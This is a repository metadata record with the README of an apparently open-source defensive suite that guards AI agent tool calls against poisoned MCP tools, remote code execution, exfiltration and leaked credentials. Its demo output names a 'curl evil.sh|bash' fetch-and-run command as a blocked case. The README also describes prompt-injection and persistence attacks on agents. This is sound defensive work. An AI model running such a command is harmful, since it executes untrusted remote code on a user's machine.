{"id":51145557,"url":"https://github.com/askalf/agent-security-stack","last_synced_at":"2026-06-26T02:30:28.438Z","repository":{"id":365242837,"uuid":"1270676355","full_name":"askalf/agent-security-stack","owner":"askalf","description":"The open-source agent-security stack — warden + canon + keeper — composed into one layered defense. Vet the tool, contain the call, give it a key it never holds. Part of Own Your Stack.","archived":false,"fork":false,"pushed_at":"2026-06-16T12:55:42.000Z","size":5,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"master","last_synced_at":"2026-06-16T14:27:28.040Z","etag":null,"topics":["agent-security","ai-agents","demo","mcp","own-your-stack","prompt-injection","security"],"latest_commit_sha":null,"homepage":"https://sprayberrylabs.com/own-your-stack","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/askalf.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-06-16T00:21:01.000Z","updated_at":"2026-06-16T12:55:49.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/askalf/agent-security-stack","commit_stats":null,"previous_names":["askalf/agent-security-stack"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/askalf/agent-security-stack","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/askalf%2Fagent-security-stack","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/askalf%2Fagent-security-stack/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/askalf%2Fagent-security-stack/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/askalf%2Fagent-security-stack/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/askalf","download_url":"https://codeload.github.com/askalf/agent-security-stack/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/askalf%2Fagent-security-stack/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":34801014,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-26T02:00:06.560Z","response_time":106,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agent-security","ai-agents","demo","mcp","own-your-stack","prompt-injection","security"],"created_at":"2026-06-26T02:30:22.575Z","updated_at":"2026-06-26T02:30:28.413Z","avatar_url":"https://github.com/askalf.png","language":"JavaScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# agent-security-stack\n\n\u003e The open-source agent-security suite — **[warden](https://github.com/askalf/warden) · [canon](https://github.com/askalf/canon) · [keeper](https://github.com/askalf/keeper)** — three tools that compose into one layered defense for every agent tool call, exposed as one MCP server. Part of **[Own Your Stack](https://github.com/askalf)**.\n\nOpenClaw became 2026's first big AI-security disaster three ways at once: one-click **RCE**, a **poisoned skills** marketplace, and ~135k **leaked credentials**. Three failure modes — three small, open-source, zero-dependency tools, composed into one layered defense:\n\n| | own your… | closes | role |\n|---|---|---|---|\n| **[warden](https://github.com/askalf/warden)** | agent **actions** | RCE · exfil · SSRF · prompt-injection | the **runtime firewall** — what a tool may *do* |\n| **[canon](https://github.com/askalf/canon)** | agent **skills** | poisoned / drifted skills \u0026 MCP servers | the **supply-chain gate** — which tools may *exist* |\n| **[keeper](https://github.com/askalf/keeper)** | agent **secrets** | leaked API keys / credentials | the **vault** — a lease, never the key |\n\nThe three answer OpenClaw's three failures and **compose in-path** into a single guarded tool call (below).\n\nThey aren't three islands — they share one spine: canon reuses warden's scanner, and keeper reuses warden's tamper-evident audit. `npm install` dedupes warden to a single shared copy. All three are **pinned to vetted commits**, so the stack is itself a reproducible supply chain — the thing it's protecting.\n\n## The tool-call path — three layers, one guarded call\n\n```js\nfunction guardedCall({ tool, action, lease }) {\n  if (!canonVetted(tool))     return blocked('canon');   // supply chain  — is the tool pinned, unmodified, unpoisoned?\n  if (warden.blocks(action))  return blocked('warden');  // runtime       — is the action safe?\n  if (!keeper.redeems(lease)) return blocked('keeper');  // secrets       — is there a valid, scoped lease?\n  return proceed();\n}\n```\n\nA tool call proceeds **only when all three agree**. Flip any one layer to \"bad\" and the call stops there — `canon` before `warden` before `keeper`.\n\n## Drop in at runtime — no app changes\n\nThe `guardedCall` above is the composition in one function; each layer also ships a **drop-in enforcer** so the same defense holds at the process / network boundary with no code changes:\n\n- **`canon-mcp`** — an MCP proxy in front of a server: only pinned, unmodified, unpoisoned tools survive `tools/list`, and a call to anything it dropped is blocked. *Which tools may exist.*\n- **`warden-mcp`** — an MCP proxy that firewalls every `tools/call` (RCE, exfil, SSRF, prompt-injection, and OS-persistence: cron / systemd-user / scheduled-task / WMI / registry-autorun) and strips poisoned tools before the client sees them; optional daemon, native fast hook, and a gray-zone LLM judge that can only *raise* risk. *What a call may do.*\n- **`keeper broker`** — point your API client's base URL at it with no key; for each call it redeems a scoped, single-use lease and injects the real secret at egress, bound to one upstream. *A key the agent never holds.*\n\nChain them — `client → canon-mcp → warden-mcp → server`, egress through `keeper broker` — and a tool must be **vetted to exist, safe to run, and hold a valid lease to touch a secret**. Same three-way agreement as `guardedCall`, enforced live.\n\n## One MCP server — call the whole stack\n\nThe proxies above enforce *mandatorily, in the path*. `oys-mcp` is the complementary **on-demand** surface: one MCP server that hands any client — Claude Desktop, Claude Code, any agent runtime — the trio as callable tools, so an agent can ask the stack to vet content, actions, and secrets mid-task.\n\n| tool | layer | does |\n|------|-------|------|\n| `warden_check` | contain | is this `{tool, input}` safe to run? → allow / approve / block + why |\n| `canon_scan` | vet | scan an MCP/skill manifest (JSON) for poisoning → clean / flagged |\n| `keeper_lease` | key | lease a vault secret → an **opaque handle**; the secret never returns |\n\n```json\n{\n  \"mcpServers\": {\n    \"own-your-stack\": {\n      \"command\": \"npx\",\n      \"args\": [\"-y\", \"github:askalf/agent-security-stack\", \"oys-mcp\"],\n      \"env\": {\n        \"KEEPER_HOME\": \"/path/to/keeper/vault\",\n        \"OYS_WARDEN_POLICY\": \"{\\\"egressAllow\\\":[\\\"api.example.com\\\"]}\"\n      }\n    }\n  }\n}\n```\n\n\u003e Not yet on npm — installs straight from GitHub.\n\nEach tool wraps the real library (`@askalf/warden`, `@askalf/canon`, `@askalf/keeper`) — no reimplementation. `keeper_lease` returns only the lease handle; the secret is materialized at egress, never through the tool. (`warden-mcp` / `canon-mcp` remain the deployment-grade *mandatory* mode.)\n\n## Run it\n\n```bash\nnpm install     # pulls warden + canon + keeper\nnpm run demo    # the layered defense: a clean call proceeds; a poisoned tool, a curl|bash, and a spent lease each get stopped\nnpm run demo:mcp  # drive all three tools over the MCP protocol\nnpm test        # the same compositions, as assertions\n```\n\n```text\n1. vetted tool, safe GET, valid lease          {\"ok\":true}            the call proceeds\n2. a POISONED tool                             {\"ok\":false,\"by\":\"canon\"}    \u003c- canon stops it\n3. a vetted tool that tries curl evil.sh|bash  {\"ok\":false,\"by\":\"warden\"}   \u003c- warden stops it\n4. a vetted tool whose lease is spent          {\"ok\":false,\"by\":\"keeper\"}   \u003c- keeper stops it\n```\n\n*vet it (canon) → contain it (warden) → key it never holds (keeper).*\n\n## Related Own Your Stack tools\n\nThis stack guards the **tool-call** path. Two more **[Own Your Stack](https://github.com/askalf)** tools — separate from this suite — apply the same principle (*govern the agent, don't trust the surface*) to the other surfaces an agent touches:\n\n- **[cordon](https://github.com/askalf/cordon)** — *own your prompts.* A drop-in LLM compliance gateway that strips PII / PHI / PCI / secrets out of a prompt before it reaches the model — fail-closed, deterministic, with a hash-chained audit.\n- **[picket](https://github.com/askalf/picket)** — *own your agent browser.* An indirect-prompt-injection firewall + action gate around a CDP / Chrome browser, so an agent can read a hostile web page without being hijacked by it.\n\n---\nPart of **[Own Your Stack](https://github.com/askalf)** — own your AI infrastructure instead of renting it. Built by Thomas Sprayberry.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faskalf%2Fagent-security-stack","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Faskalf%2Fagent-security-stack","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Faskalf%2Fagent-security-stack/lists"}